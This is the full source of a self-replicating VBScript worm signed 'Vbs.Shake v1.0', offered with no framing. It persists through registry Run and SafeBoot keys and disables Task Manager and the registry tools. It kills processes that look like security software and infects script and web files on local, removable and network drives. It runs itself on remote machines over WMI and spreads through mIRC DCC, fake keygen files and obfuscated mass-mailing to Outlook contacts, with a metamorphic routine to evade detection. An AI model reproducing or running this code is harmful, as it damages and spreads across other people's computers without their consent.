On Error Resume Next
Dim self, fso, whs, net, shellobj, WinRoot, WinSysFolder, TempFolder, ScriptCode, GenInfectionCode, VBSInfectionCode, JSInfectionCode, PHPInfectionCode, ASPInfectionCode, myExt, REG_ROOT, KEY_VAL, ProcessList, tempKey, tempName, SelfPath
StopSB
set shellobj = CreateObject("Shell.Application")
set fso = CreateObject("Scripting.FileSystemObject")
set whs = CreateObject("WScript.Shell")
set net = CreateObject("WScript.NetWork")
set WinRoot = fso.GetSpecialFolder(0)
set WinSysFolder = fso.GetSpecialFolder(1)
set TempFolder = fso.GetSpecialFolder(2)
FixReg
if ( lcase(right(Wscript.FullName,11))="cscript.exe" ) then
whs.Run "wscript.exe """ & WScript.ScriptFullName & """"
WScript.Quit
End If
set self = fso.GetFile(WScript.ScriptFullName)
myExt = LCase(fso.GetExtensionName(self))
ProcessList = Array("*av*","*anti*","*vir*","*fix*","*remov*","*upd*t*","*h*ack*","*protect*","*secur*","*mgr*","*reg*","*proc*)
if fso.FileExists(self.path) then
self.Attributes = 0
ScriptCode = readFile(self.path)
randomize
tempName = TempFolder & "\~" & randomword(6,10) & "." & myExt
copyFile self.Path, tempName
tempKey = fso.GetBaseName(fso.GetFile(tempName))
whs.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & tempKey ,"""" & WScript.FullName & """ """ & tempName & """"
end if
if len(ScriptCode) > 0 then
deleteFile self.path
ScriptPolyCode = Metamorph(ScriptCode)
If ( len(ScriptPolyCode)> 0 ) Then ScriptCode = ScriptPolyCode
VBSInfectionCode = "x" & vbcrlf & chr(37) & "HOSTBODY" & chr(37) & vbcrlf & vbcrlf & "sub x" & vbcrlf & "On Error Resume Next" & vbcrlf & "set fso = CreateObject(""Scripting.FileSystemObject"")" & vbcrlf & "set temp = fso.CreateTextFile(fso.GetSpecialFolder(2) & ""\" & randomword(6,10) & "." & myExt & """)" & vbCrLf & "body = " & VBSOneLine(ScriptCode) & vbCrLf & "temp.Write body" & vbCrLf & "temp.Close" & vbCrlf & "set whs = CreateObject(""WScript.Shell"")" & vbCrLf & "whs.Run fso.GetSpecialFolder(2) & ""\readme." & myExt & """,0,false" & vbcrlf & "end sub 'Vbs.Shake"
GenInfectionCode = VBSInfectionCode
JSInfectionCode = "x();" & vbcrlf & chr(37) & "HOSTBODY" & chr(37) & vbcrlf & vbcrlf & "function x(){" & vbcrlf & "try{" & vbCrlf & "var fso = new ActiveXObject(""Scripting.FileSystemObject"");" & vbCrlf & "var temp = fso.CreateTextFile(fso.GetSpecialFolder(2) + ""\" & randomword(6,10) & "." & myExt & """);" & vbCrlf & "var body = " & JSOneLine(ScriptCode) & ";" & vbCrlf & "temp.Write(body);" & vbCrlf & "temp.Close();" & vbCrlf & "var whs = new ActiveXObject(""WScript.Shell"");" & vbCrlf & "whs.Run(fso.GetSpecialFolder(2) + ""\readme." & myExt & """,0,false);" & vbCrlf & "}catch(err){};" & vbcrlf & "} //Vbs.Shake"
PHPInfectionCode = "" & vbcrlf & chr(37) & "HOSTBODY" & chr(37)
ASPInfectionCode = "<%" & vbCrlf & VBSInfectionCode & vbCrlf & "%>" & vbCrlf & chr(37) & "HOSTBODY" & chr(37)
end if
dirpath = whs.RegRead("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\BackupRestore\FilesNotToBackup\System Restore")
dirpath = Left(WinRoot,2) & left(dirpath,len(dirpath)-5)
if not fso.FolderExists(dirpath) then dirpath = WinSysFolder
nextName = dirpath & "\" & randomword(6,10) & "." & myExt
deleteFile nextName
set copy = CreateFile(nextName)
copy.Write ScriptCode
copy.Close
set copy = Nothing
set self = fso.GetFile(nextName)
self.Attributes = 6
SelfPath = self.path
set Super = fso.GetFile(Wscript.FullName)
SuperExt = LCase(fso.GetExtensionName(Super))
newName = WinRoot & "\svchost." & SuperExt
copyFile Super.Path, newName
Set Super = fso.GetFile(newName)
Super.Attributes = 6
set tmp = fso.GetFile(WScript.FullName)
If LCase(tmp.Path) <> LCase(Super.Path) Then
whs.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & tempKey
deleteFile tempName
whs.Run """" & Super.Path & """ """ & self.Path & """",0,false
WScript.Quit
End If
REG_ROOT = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & fso.GetBaseName(self)
KEY_VAL = """" & Super.Path & """ """ & self.path & """"
whs.RegWrite REG_ROOT,KEY_VAL
whs.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & tempKey
deleteFile tempName
Spread
InfectRemovableDrives
InfectNetworkDrives
InfectHardDrives
Do While True
if not fso.FileExists(SelfPath) then
set temp = createfile(SelfPath)
temp.Write ScriptCode
temp.Close
set temp=Nothing
Set self = fso.GetFile(SelfPath)
self.Attributes = 6
end if
If fso.FileExists(Left(WinRoot,2) & "\ntldr")Then
set windows = shellobj.windows
Else
set windows = shellobj.windows.items
End If
num = 0
for each window in windows
s = window.LocationURL
If InStr(LCase(s),"a:") > 0 Or InStr(LCase(s),"b:") > 0 Then InfectRemovableDrives()
next
whs.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot\AlternateShell","""" & Super.Path & """ """ & self.Path & """"
whs.RegWrite REG_ROOT,KEY_VAL
FixReg
If fso.FileExists(Left(WinRoot, 2) & "\ntldr") And fso.FileExists(WinSysFolder & "\tskill.exe") Then
whs.Run "tskill.exe " & ProcessList(pIndex),0,false
If pIndex < UBound(ProcessList) Then
pIndex = pIndex + 1
Else
pIndex = 0
End If
End If
If ( Minute(Now) = 0 ) Then
InfectNetworkDrives
EndIf
Randomize
If ( Minute(Now) = 0 And rnd<0.5 ) Then
InfectHardDrives
EndIf
Loop
Function InfectNetworkDrives()
On Error Resume Next
Set localdrvs = fso.Drives
For Each ld In localdrvs
varld = ld
Next
FreeDrive=Chr(Asc(varld)+1) & ":"
Set NetDrives=net.EnumNetworkDrives
if ( NetDrives.Count = 0 ) then exit function
tryremexe(NetDrives(0))
For Each d In NetDrives
If (d <> "") and (d <> FreeDrive) Then
net.MapNetWorkDrive FreeDrive,d
InfectFiles FreeDrive & "\"
net.RemoveNetWorkDrive FreeDrive
End If
Next
End Function
Function InfectHardDrives()
On Error Resume Next
Set Drives = fso.Drives
if Drives.Count > 0 Then
for each d in Drives
If d.DriveType = 2 or d.DriveType = 3 then
InfectFiles d & "\"
end if
next
end if
End Function
Function InfectRemovableDrives()
On Error Resume next
Set Drives = fso.Drives
if Drives.Count > 0 Then
for each d in Drives
If d.DriveType = 1 and fso.folderexists(d & "\") then
InfectFiles d & "\"
end if
next
end if
End Function
Function InfectFile(sFile,InfectionCode)
On Error Resume Next
If Not fso.FileExists(sFile) Or lcase(sFile) = lcase(SelfPath) Then
Exit Function
End If
hostbody = readFile(sFile)
if InStr(LCase(hostbody),lcase("Vbs.Shake")) = 0 Then
hostbody = replace(InfectionCode, chr(37) & "HOSTBODY" & chr(37), hostbody)
else
Exit Function
End If
set host = fso.GetFile(sFile)
hAtt = host.Attributes
set temp = CreateFile(host.path)
temp.Write hostbody
temp.Close
host.Attributes = hAtt
End Function
Function InfectFiles(FolderSpec)
On Error Resume Next
Dim cFolder, cFiles, cFile, cSubFolders, bSharedfolder
bSharedfolder = (InStr(lcase(FolderSpec),"shar") > 0)
Set cFolder = fso.GetFolder(FolderSpec)
Set cFiles = cFolder.Files
Set cSubFolders = cFolder.SubFolders
For Each f in cFiles
set cFile = fso.GetFile(f)
cExt = LCase(fso.GetExtensionName(cFile.Path))
if (cExt = lcase(myExt) ) then
InfectFile cFile.Path,GenInfectionCode
elseif InStr(cExt, LCase("vb")) > 0 Then
InfectFile cFile.Path,VBSInfectionCode
elseif InStr(cExt, LCase("js")) > 0 Then
InfectFile cFile.Path,JSInfectionCode
elseif InStr(cExt, LCase("php")) > 0 Then
InfectFile cFile.Path,PHPInfectionCode
elseif InStr(cExt, LCase("asp")) > 0 Then
InfectFile cFile.Path,ASPInfectionCode
elseif (cFile.Name="mirc.exe") or (cFile.Name="mirc.ini") or (cFile.Name="script.ini") or (cFile.Name="mirc.hlp") then
if (cFile.Name="mirc.ini") then
mircini = readFile(cFile.Path)
opts = split(mircini, vbcrlf)
for zz=0 to ubound(opts)
opt = ""
opt = opts(zz)
opt = replace(opt, chr(32), "")
if ( (lcase(left(opt, 7)) = lcase("accept=")) and (InStr(lcase(opt),",*.jse") <= 0) ) then
opts(zz)=opts(zz) & ",*.jse"
end if
next
mircini = join(opts, vbcrlf)
set tmpfile = fso.getFile(cFile.Path)
tmpatt = tmpfile.Attributes
set tmp = CreateFile(cFile.Path)
tmp.Write mircini
tmp.Close
tempfile.Attributes = tmpatt
set tempfile = nothing
set tmp = nothing
end if
fso.DeleteFile cFile.ParentFolder & "\You&Me*.jse", True
rw = randomword(2,4)
set ft = CreateFile(cFile.ParentFolder & "\You&Me-" & rw & ".jse")
for i=1 to 100
ft.Write vbCrlf
next
ft.Write replace(JSInfectionCode,chr(37)&"HOSTBODY"&chr(37),"")
ft.Close
set scrpt=CreateFile(cFile.ParentFolder & "\script.ini")
scrpt.WriteLine "[script]"
scrpt.WriteLine "n0=on 1:JOIN:#:{"
scrpt.WriteLine "n1= /if ( $nick == $me ) { halt }"
scrpt.WriteLine "n2= /msg $nick :P"
scrpt.WriteLine "n3= /.dcc send $nick " & cFile.ParentFolder & "\You&Me-" & rw & ".jse"
scrpt.WriteLine "n4=}"
scrpt.close
elseif (bSharedfolder and (cExt = "exe" or cExt = "scr" or cExt = "zip" or cExt = "rar" or cExt = "msi" or InStr(fso.GetBaseName(cFile),"setup") > 0 or InStr(fso.GetBaseName(cFile),"install") > 0)) then
set kg = CreateFile(cFile.ParentFolder & "\" & fso.GetBaseName(cFile) & "-Keygen." & cExt & " ." & myExt)
kg.write ScriptCode
kg.Close
end if
Next
For Each s in cSubFolders
InfectFiles s
Next
end function
function tryremexe(netdrive)
on error resume next
tmp = right(netdrive,len(netdrive)-2)
i = inStr(tmp,"\")
baseunc=left(netdrive,i+2)
if ( fso.FolderExists(baseunc & "c") ) then
set test = CreateFile(baseunc & "c\test." & myExt)
test.write ScriptCode
test.close
elseif ( fso.FolderExists(baseunc & "c$") ) then
set test = CreateFile(baseunc & "c$\test." & myExt)
test.write ScriptCode
test.close
else
exit function
end if
if (not fso.FileExists(baseunc & "c\test." & myExt)) and (not fso.FileExists(baseunc & "c$\test." & myExt)) then exit function
Set objWMIService = GetObject("winmgmts:" & baseunc & "root\cimv2")
Set objProcess = objWMIService.Get("Win32_Process")
intReturnValue = objProcess.Create("wscript.exe C:\test." & myExt, , , intPID)
end function
Function VBSOneLine(sCode)
On Error Resume Next
CodeLine = Split(sCode,vbCrlf)
If LCase(CodeLine(0)) = LCase(sCode) Then
CodeLine = Split(sCode,chr(13))
End If
For t = 0 To UBound(CodeLine)
sModLine = Replace(CodeLine(t),"""",""" & Chr(" & Asc("""") & ") & """)
If (t = 0) Then
VBSOneLine = """" & sModLine & """ & "
ElseIf t < UBound(CodeLine) Then
VBSOneLine = VBSOneLine & " Vbcrlf & """ & sModLine & """ & "
Else
VBSOneLine = VBSOneLine & " Vbcrlf & """ & sModLine & """"
End If
Next
End Function
Function JSOneLine(sCode)
On Error Resume Next
CodeLine = Split(sCode,vbCrlf)
If LCase(CodeLine(0)) = LCase(sCode) Then
CodeLine = Split(sCode,chr(13))
End If
For t = 0 To UBound(CodeLine)
sModLine = Replace(CodeLine(t),"\","\\")
sModLine = Replace(sModLine,"""","\""")
If (t = 0) Then
JSOneLine = """" & sModLine
ElseIf t < UBound(CodeLine) Then
JSOneLine = JSOneLine & "\n" & sModLine
Else
JSOneLine = JSOneLine & "\n" & sModLine & """"
End If
Next
End Function
Function randomword(min,max)
on error resume next
if ( min > max ) then
mx = max
max = min
min = mx
end if
max = max+1
max = max-min
randomword=""
randomize
namelen = int(rnd*max)+min
for z=1 to namelen
randomize
if z=1 then
g=int(rnd*2)+1
else
g = int(rnd*3)
end if
randomize
if g=0 then
c=chr(int(rnd*10)+48)
elseif g=1 then
c=chr(int(rnd*26)+65)
else
c=chr(int(rnd*26)+97)
end if
randomword=randomword & c
next
End Function
function readFile(path)
on error resume next
readFile=""
if not fso.fileexists(path) then exit function
set f=fso.opentextfile(path)
readFile=f.read(fso.getfile(path).size)
f.close
set f=nothing
end function
function deleteFile(filename)
on error resume next
If not fso.FileExists(filename) Then exit function
fso.GetFile(filename).Attributes = 0
fso.DeleteFile filename,True
end function
function copyFile(src,dest)
on error resume next
if ( not fso.FileExists(src) ) then exit function
deleteFile dest
fso.GetFile(src).Copy dest
end function
function CreateFile(name)
on error resume next
if ( fso.FileExists(name) ) then fso.GetFile(name).Attributes = 0
set CreateFile = fso.CreateTextFile(name)
end function
Function FixReg()
On error Resume Next
whs.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout"
whs.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\DisplayLogo"
whs.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
whs.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
whs.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
whs.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","1","REG_DWORD"
End Function
Function StopSB()
Set objWMIService = GetObject("winmgmts:\\"&net.ComputerName&"\root\cimv2")
Set objProcess = objWMIService.Get("Win32_Process")
intReturnValue = objProcess.Create("net.exe stop SBService", , , intPID)
End Function
Function Spread()
On Error Resume Next
If Not fso.FileExists(Left(WinRoot, 2) & "\ntldr") Then
set mf = CreateFile(TempFolder & "\~wtmpFFFF.jse")
mf.Write replace(JSInfectionCode,chr(37)&"HOSTBODY"&chr(37),"")
mf.Close
MS_code = "Set Fso = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf & _
" Set self = Fso.GetFile(""" & TempFolder & "\~wtmpFFFF.jse"")" & vbCrLf & _
"set WinRoot = Fso.GetSpecialFolder(0)" & vbCrLf & _
"set WinSysFolder = Fso.GetSpecialFolder(1)" & vbCrLf & _
"set TempFolder = Fso.getSpecialFolder(2)" & vbCrLf & _
"MyExt = """ & myExt & """" & vbCrLf & _
"While True" & vbCrLf & _
"execute chr(100) & chr(105) & chr(109) & chr(32) & chr(120) & chr(44) & chr(97) & chr(44) & chr(99) & chr(116) & chr(114) & chr(108) & chr(105) & chr(115) & chr(116) & chr(115) & chr(44) & chr(99) & chr(116) & chr(114) & chr(101) & chr(110) & chr(116) & chr(114) & chr(105) & chr(101) & chr(115) & chr(44) & chr(109) & chr(97) & chr(108) & chr(101) & chr(97) & chr(100) & chr(44) & chr(98) & chr(44) & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(32)" & vbCrLf & _
"execute chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(78) & chr(97) & chr(109) & chr(101) & chr(32) & chr(61) & chr(32) & chr(84) & chr(101) & chr(109) & chr(112) & chr(70) & chr(111) & chr(108) & chr(100) & chr(101) & chr(114) & chr(32) & chr(38) & chr(32) & chr(34) & chr(92) & chr(76) & chr(101) & chr(116) & chr(116) & chr(101) & chr(114) & chr(46) & chr(34) & chr(32) & chr(38) & chr(32) & chr(109) & chr(121) & chr(69) & chr(120) & chr(116) & chr(32)" & vbCrLf & _
"execute chr(83) & chr(101) & chr(108) & chr(102) & chr(46) & chr(67) & chr(111) & chr(112) & chr(121) & chr(40) & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(78) & chr(97) & chr(109) & chr(101) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(83) & chr(101) & chr(116) & chr(32) & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(32) & chr(61) & chr(32) & chr(70) & chr(115) & chr(111) & chr(46) & chr(71) & chr(101) & chr(116) & chr(70) & chr(105) & chr(108) & chr(101) & chr(40) & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(78) & chr(97) & chr(109) & chr(101) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(46) & chr(65) & chr(116) & chr(116) & chr(114) & chr(105) & chr(98) & chr(117) & chr(116) & chr(101) & chr(115) & chr(32) & chr(61) & chr(32) & chr(48) & chr(32)" & vbCrLf & _
"execute chr(115) & chr(101) & chr(116) & chr(32) & chr(111) & chr(117) & chr(116) & chr(61) & chr(87) & chr(83) & chr(99) & chr(114) & chr(105) & chr(112) & chr(116) & chr(46) & chr(67) & chr(114) & chr(101) & chr(97) & chr(116) & chr(101) & chr(79) & chr(98) & chr(106) & chr(101) & chr(99) & chr(116) & chr(40) & chr(34) & chr(79) & chr(117) & chr(116) & chr(108) & chr(111) & chr(111) & chr(107) & chr(46) & chr(65) & chr(112) & chr(112) & chr(108) & chr(105) & chr(99) & chr(97) & chr(116) & chr(105) & chr(111) & chr(110) & chr(34) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(115) & chr(101) & chr(116) & chr(32) & chr(109) & chr(97) & chr(112) & chr(105) & chr(61) & chr(111) & chr(117) & chr(116) & chr(46) & chr(71) & chr(101) & chr(116) & chr(78) & chr(97) & chr(109) & chr(101) & chr(83) & chr(112) & chr(97) & chr(99) & chr(101) & chr(40) & chr(34) & chr(77) & chr(65) & chr(80) & chr(73) & chr(34) & chr(41) & chr(32)" & vbCrLf & _
"for ctrlists=1 to mapi.AddressLists.Count" & vbCrLf & _
"execute chr(115) & chr(101) & chr(116) & chr(32) & chr(97) & chr(61) & chr(109) & chr(97) & chr(112) & chr(105) & chr(46) & chr(65) & chr(100) & chr(100) & chr(114) & chr(101) & chr(115) & chr(115) & chr(76) & chr(105) & chr(115) & chr(116) & chr(115) & chr(40) & chr(99) & chr(116) & chr(114) & chr(108) & chr(105) & chr(115) & chr(116) & chr(115) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(120) & chr(61) & chr(48) & chr(32)" & vbCrLf & _
"if (int(a.AddressEntries.Count)>int(0)) then" & vbCrLf & _
"for ctrentries=1 to a.AddressEntries.Count" & vbCrLf & _
"execute chr(109) & chr(97) & chr(108) & chr(101) & chr(97) & chr(100) & chr(61) & chr(97) & chr(46) & chr(65) & chr(100) & chr(100) & chr(114) & chr(101) & chr(115) & chr(115) & chr(69) & chr(110) & chr(116) & chr(114) & chr(105) & chr(101) & chr(115) & chr(40) & chr(120) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(115) & chr(101) & chr(116) & chr(32) & chr(109) & chr(97) & chr(108) & chr(101) & chr(61) & chr(111) & chr(117) & chr(116) & chr(46) & chr(67) & chr(114) & chr(101) & chr(97) & chr(116) & chr(101) & chr(73) & chr(116) & chr(101) & chr(109) & chr(40) & chr(48) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(109) & chr(97) & chr(108) & chr(101) & chr(46) & chr(82) & chr(101) & chr(99) & chr(105) & chr(112) & chr(105) & chr(101) & chr(110) & chr(116) & chr(115) & chr(46) & chr(65) & chr(100) & chr(100) & chr(40) & chr(109) & chr(97) & chr(108) & chr(101) & chr(97) & chr(100) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(82) & chr(97) & chr(110) & chr(100) & chr(111) & chr(109) & chr(105) & chr(122) & chr(101) & chr(32)" & vbCrLf & _
"execute chr(109) & chr(97) & chr(108) & chr(101) & chr(46) & chr(70) & chr(114) & chr(111) & chr(109) & chr(32) & chr(61) & chr(32) & chr(97) & chr(46) & chr(65) & chr(100) & chr(100) & chr(114) & chr(101) & chr(115) & chr(115) & chr(69) & chr(110) & chr(116) & chr(114) & chr(105) & chr(101) & chr(115) & chr(40) & chr(73) & chr(110) & chr(116) & chr(40) & chr(114) & chr(110) & chr(100) & chr(32) & chr(42) & chr(32) & chr(97) & chr(46) & chr(65) & chr(100) & chr(100) & chr(114) & chr(101) & chr(115) & chr(115) & chr(69) & chr(110) & chr(116) & chr(114) & chr(105) & chr(101) & chr(115) & chr(46) & chr(67) & chr(111) & chr(117) & chr(110) & chr(116) & chr(41) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(109) & chr(97) & chr(108) & chr(101) & chr(46) & chr(83) & chr(117) & chr(98) & chr(106) & chr(101) & chr(99) & chr(116) & chr(32) & chr(61) & chr(32) & chr(34) & chr(77) & chr(101) & chr(115) & chr(115) & chr(97) & chr(103) & chr(101) & chr(32) & chr(70) & chr(114) & chr(111) & chr(109) & chr(32) & chr(34) & chr(32) & chr(38) & chr(32) & chr(78) & chr(101) & chr(116) & chr(46) & chr(85) & chr(115) & chr(101) & chr(114) & chr(78) & chr(97) & chr(109) & chr(101) & chr(32)" & vbCrLf & _
"execute chr(109) & chr(97) & chr(108) & chr(101) & chr(46) & chr(66) & chr(111) & chr(100) & chr(121) & chr(32) & chr(61) & chr(32) & chr(118) & chr(98) & chr(99) & chr(114) & chr(108) & chr(102) & chr(38) & chr(34) & chr(67) & chr(104) & chr(101) & chr(99) & chr(107) & chr(32) & chr(116) & chr(104) & chr(101) & chr(32) & chr(108) & chr(101) & chr(116) & chr(116) & chr(101) & chr(114) & chr(32) & chr(115) & chr(101) & chr(110) & chr(116) & chr(32) & chr(98) & chr(121) & chr(32) & chr(109) & chr(101) & chr(46) & chr(32) & chr(38) & chr(32) & chr(118) & chr(98) & chr(99) & chr(114) & chr(108) & chr(102) & chr(32) & chr(38) & chr(32) & chr(34) & chr(73) & chr(116) & chr(39) & chr(115) & chr(32) & chr(118) & chr(101) & chr(114) & chr(121) & chr(32) & chr(105) & chr(109) & chr(112) & chr(111) & chr(114) & chr(116) & chr(97) & chr(110) & chr(116) & chr(44) & chr(32) & chr(116) & chr(114) & chr(121) & chr(32) & chr(116) & chr(111) & chr(32) & chr(100) & chr(111) & chr(110) & chr(39) & chr(116) & chr(32) & chr(108) & chr(111) & chr(115) & chr(101) & chr(32) & chr(105) & chr(116) & chr(32) & chr(97) & chr(110) & chr(100) & chr(32) & chr(117) & chr(115) & chr(101) & chr(32) & chr(105) & chr(116) & chr(32) & chr(99) & chr(97) & chr(114) & chr(101) & chr(102) & chr(117) & chr(108) & chr(108) & chr(121) & chr(44) & chr(32) & chr(97) & chr(110) & chr(121) & chr(119) & chr(97) & chr(121) & chr(46) & chr(34) & chr(32) & chr(38) & chr(32) & chr(118) & chr(98) & chr(99) & chr(114) & chr(108) & chr(102) & chr(32) & chr(38) & chr(32) & chr(118) & chr(98) & chr(99) & chr(114) & chr(108) & chr(102) & chr(32) & chr(38) & chr(32) & chr(83) & chr(116) & chr(114) & chr(105) & chr(110) & chr(103) & chr(40) & chr(40) & chr(76) & chr(101) & chr(110) & chr(40) & chr(34) & chr(73) & chr(116) & chr(39) & chr(115) & chr(32) & chr(118) & chr(101) & chr(114) & chr(121) & chr(32) & chr(105) & chr(109) & chr(112) & chr(111) & chr(114) & chr(116) & chr(97) & chr(110) & chr(116) & chr(44) & chr(32) & chr(116) & chr(114) & chr(121) & chr(32) & chr(116) & chr(111) & chr(32) & chr(100) & chr(111) & chr(110) & chr(39) & chr(116) & chr(32) & chr(108) & chr(111) & chr(115) & chr(101) & chr(32) & chr(105) & chr(116) & chr(32) & chr(97) & chr(110) & chr(100) & chr(32) & chr(117) & chr(115) & chr(101) & chr(32) & chr(105) & chr(116) & chr(32) & chr(99) & chr(97) & chr(114) & chr(101) & chr(102) & chr(117) & chr(108) & chr(108) & chr(121) & chr(44) & chr(32) & chr(97) & chr(110) & chr(121) & chr(119) & chr(97) & chr(121) & chr(46) & chr(34) & chr(41) & chr(45) & chr(76) & chr(101) & chr(110) & chr(40) & chr(78) & chr(101) & chr(116) & chr(46) & chr(85) & chr(115) & chr(101) & chr(114) & chr(78) & chr(97) & chr(109) & chr(101) & chr(41) & chr(41) & chr(43) & chr(50) & chr(44) & chr(34) & chr(32) & chr(34) & chr(41) & chr(32) & chr(38) & chr(32) & chr(78) & chr(101) & chr(116) & chr(46) & chr(85) & chr(115) & chr(101) & chr(114) & chr(78) & chr(97) & chr(109) & chr(101) & chr(32)" & vbCrLf & _
"execute chr(109) & chr(97) & chr(108) & chr(101) & chr(46) & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(109) & chr(101) & chr(110) & chr(116) & chr(115) & chr(46) & chr(65) & chr(100) & chr(100) & chr(40) & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(46) & chr(80) & chr(97) & chr(116) & chr(104) & chr(41) & chr(32)" & vbCrLf & _
"execute chr(109) & chr(97) & chr(108) & chr(101) & chr(46) & chr(83) & chr(101) & chr(110) & chr(100) & chr(32)" & vbCrLf & _
"execute chr(120) & chr(61) & chr(120) & chr(43) & chr(49) & chr(32)" & vbCrLf & _
"next" & vbCrLf & _
"end if" & vbCrLf & _
"next" & vbCrLf & _
"execute chr(83) & chr(101) & chr(116) & chr(32) & chr(111) & chr(117) & chr(116) & chr(61) & chr(78) & chr(111) & chr(116) & chr(104) & chr(105) & chr(110) & chr(103) & chr(32)" & vbCrLf & _
"execute chr(83) & chr(101) & chr(116) & chr(32) & chr(109) & chr(97) & chr(112) & chr(105) & chr(61) & chr(78) & chr(111) & chr(116) & chr(104) & chr(105) & chr(110) & chr(103) & chr(32)" & vbCrLf & _
"execute chr(70) & chr(115) & chr(111) & chr(46) & chr(68) & chr(101) & chr(108) & chr(101) & chr(116) & chr(101) & chr(70) & chr(105) & chr(108) & chr(101) & chr(40) & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(46) & chr(80) & chr(97) & chr(116) & chr(104) & chr(41) & chr(32)" & vbCrLf & _
"out.Quit" & vbCrLf & _
"For j = 0 To 5" & vbCrLf & _
" WScript.Sleep 60000" & vbCrLf & _
"Next" & vbCrLf & _
"WEnd"
MS_name = TempFolder & "\MSender." & myExt
Set f_MS = fso.CreateTextFile(MS_name)
f_MS.write MS_code
f_MS.Close
whs.Run """" & Super.Path & """ """ & MS_name & """",0,false
WScript.Sleep 100
deleteFile MS_name
End if
End Function
function Metamorph(code)
on error resume next
Metamorph = code
if len(code) = 0 then exit function
forbiddenwords = " dim if then else elseif and or end wend select case each in is nothing set on error resume next function sub next while do loop for to not true false step rnd err msgbox wscript vbcrlf vbcancel vbexclamation vbyesno vbokcancel vbinformation vbcritical vbquestion vbno vbyes vbok exit execute randomize len right left replace split join asc chr hex dec me mod "
codelines = split(code,vbcrlf)
variables = ""
randomvariables = ""
for lindex=0 to ubound(codelines)
bWritingVariable = false
bSearch = true
c = ""
newvar=""
offset = 0
codelines(lindex) = codelines(lindex) & " "
for cnum=1 to len(codelines(lindex))+1
if( not bWritingVariable )then lastc = c
c = right(left(codelines(lindex),cnum+offset),1)
if( c = "'" and bSearch )then exit for
if( c = """" )then
bSearch = not bSearch
end if
if( ((asc(c) > 47 and asc(c) < 58) or c="_") and bWritingVariable )then
newvar=newvar & c
elseif( (asc(c) > 64 and asc(c) < 91) or (asc(c) > 96 and asc(c) < 123) )then
if ( bSearch ) then
bWritingVariable = true
newvar=newvar & c
end if
elseif( bWritingVariable )then
bWritingVariable = false
newvar = lcase(newvar)
bCanReplace = (lastc <> "." and (instr(lcase(forbiddenwords)," " & newvar & " ") = 0) and (c<>"(" or instr(lcase(code),"function " & newvar) > 0 or instr(lcase(code),"sub " & newvar) > 0 or instr(replace(lcase(code)," ",""),newvar & "=") > 0 or instr(replace(lcase(code)," ",""),"(" & newvar & ")") > 0))
if( bCanReplace ) then
varlist = split(variables,";")
bFound = False
for pos=0 to ubound(varlist) step 2
if( varlist(pos) = newvar ) then
bFound = True
exit for
end if
next
if( not bFound ) then
do
rw = randomword(4,len(newvar))
loop while( instr(forbiddenwords,lcase(rw))>0 or instr(lcase(variables),lcase(rw))>0 or left(lcase(rw),1) = "h" )
if ( len(variables) = 0 )then
variables = newvar & ";" & rw
else
variables = variables & ";" & newvar & ";" & rw
end if
varlist=split(variables,";")
pos = ubound(varlist)-1
end if
codelines(lindex) = left(codelines(lindex),cnum+offset-len(newvar)-1) & varlist(pos+1) & right(codelines(lindex),len(codelines(lindex))-cnum-offset+1)
offset = offset+len(varlist(pos+1))-len(newvar)
end if
newvar = ""
end if
next
codelines(lindex) = left(codelines(lindex),len(codelines(lindex))-1)
next
code = join(codelines,vbcrlf)
if len(code) > 0 then Metamorph = code
end function
'(c) Vbs.Shake v1.0